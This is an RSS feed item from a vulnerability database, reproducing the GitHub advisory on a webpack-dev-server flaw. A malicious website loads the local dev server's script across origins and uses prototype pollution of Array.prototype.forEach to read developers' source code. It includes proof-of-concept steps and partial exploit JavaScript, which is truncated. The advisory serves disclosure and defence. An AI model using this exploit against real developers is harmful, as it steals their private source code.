<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Wed, 11 Nov 2026 13:10:28 +0000</lastBuildDate>
    <item>
      <title>GHSA-4v9v-hfq4-rm2v — webpack-dev-server users' source code may be stolen when they access a malicious web site</title>
      <link>https://db.gcve.eu/vuln/ghsa-4v9v-hfq4-rm2v</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: webpack-dev-server&lt;/p&gt;
&lt;p&gt;### Summary
Source code may be stolen when you access a malicious web site.&lt;/p&gt;
&lt;p&gt;### Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `&amp;lt;script src=&amp;#34;http://localhost:8080/main.js&amp;#34;&amp;gt;` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.&lt;/p&gt;
&lt;p&gt;### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools console.&lt;/p&gt;
&lt;p&gt;![image](https://github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)&lt;/p&gt;
&lt;p&gt;The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) =&amp;gt; {
  console.log(&amp;#39;h&amp;#39;, handler)
  moduleList = handler.require.m
}&lt;/p&gt;
&lt;p&gt;const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) =&amp;gt; {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}&lt;/p&gt;
&lt;p&gt;const script = document.createElement(&amp;#39;script&amp;#39;)
script.src = &amp;#39;http://localh…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: webpack-dev-server&lt;/p&gt;
&lt;p&gt;### Summary
Source code may be stolen when you access a malicious web site.&lt;/p&gt;
&lt;p&gt;### Details
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `&amp;lt;script src=&amp;#34;http://localhost:8080/main.js&amp;#34;&amp;gt;` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.&lt;/p&gt;
&lt;p&gt;### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it
2. Run `npm i`
3. Run `npx webpack-dev-server`
4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`
5. You can see the source code output in the document and the devtools console.&lt;/p&gt;
&lt;p&gt;![image](https://github.com/user-attachments/assets/9d4dcdca-5d24-4c84-a7b4-feb1782bca09)&lt;/p&gt;
&lt;p&gt;The script in the POC site is:
```js
let moduleList
const onHandlerSet = (handler) =&amp;gt; {
  console.log(&amp;#39;h&amp;#39;, handler)
  moduleList = handler.require.m
}&lt;/p&gt;
&lt;p&gt;const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) =&amp;gt; {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}&lt;/p&gt;
&lt;p&gt;const script = document.createElement(&amp;#39;script&amp;#39;)
script.src = &amp;#39;http://localh…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-4v9v-hfq4-rm2v</guid>
    </item>
  </channel>
</rss>
